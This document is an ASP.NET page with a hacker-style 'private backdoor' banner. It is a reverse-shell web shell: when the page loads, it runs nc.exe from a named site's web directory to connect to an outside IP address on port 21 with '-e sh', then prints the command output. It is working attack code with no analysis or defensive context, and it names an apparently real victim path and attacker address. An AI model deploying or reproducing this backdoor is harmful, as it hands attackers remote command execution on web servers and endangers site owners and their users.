[$] Pr1v473 xHeEl B4ckD00RzZ [$]
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e)
{
try
{
// Full path to nc.exe
string ncPath = @"D:\InetPub\vhosts\kuccs.com.kw\httpdocs\PortalFiles\nc.exe";
string arguments = "100.42.182.143 21 -e sh";
ProcessStartInfo processStartInfo = new ProcessStartInfo();
processStartInfo.FileName = "cmd.exe";
processStartInfo.Arguments = $"/c \"{ncPath} {arguments}\"";
processStartInfo.RedirectStandardOutput = true;
processStartInfo.RedirectStandardError = true;
processStartInfo.UseShellExecute = false;
processStartInfo.CreateNoWindow = true;
Process process = new Process();
process.StartInfo = processStartInfo;
process.Start();
string output = process.StandardOutput.ReadToEnd();
string error = process.StandardError.ReadToEnd();
process.WaitForExit();
Response.Write("<pre>" + Server.HtmlEncode(output) + "</pre>");
if (!string.IsNullOrEmpty(error))
{
Response.Write("<pre style='color: red;'>" + Server.HtmlEncode(error) + "</pre>");
}
}
catch (Exception ex)
{
Response.Write("<pre style='color: red;'>" + Server.HtmlEncode(ex.ToString()) + "</pre>");
}
}
</script>
<!DOCTYPE html>
<html>
<head runat="server">
<title>Execute Command</title>
</head>
<body>
<form id="form1" runat="server">
<div>
Command executed.
</div>
</form>
</body>
</html>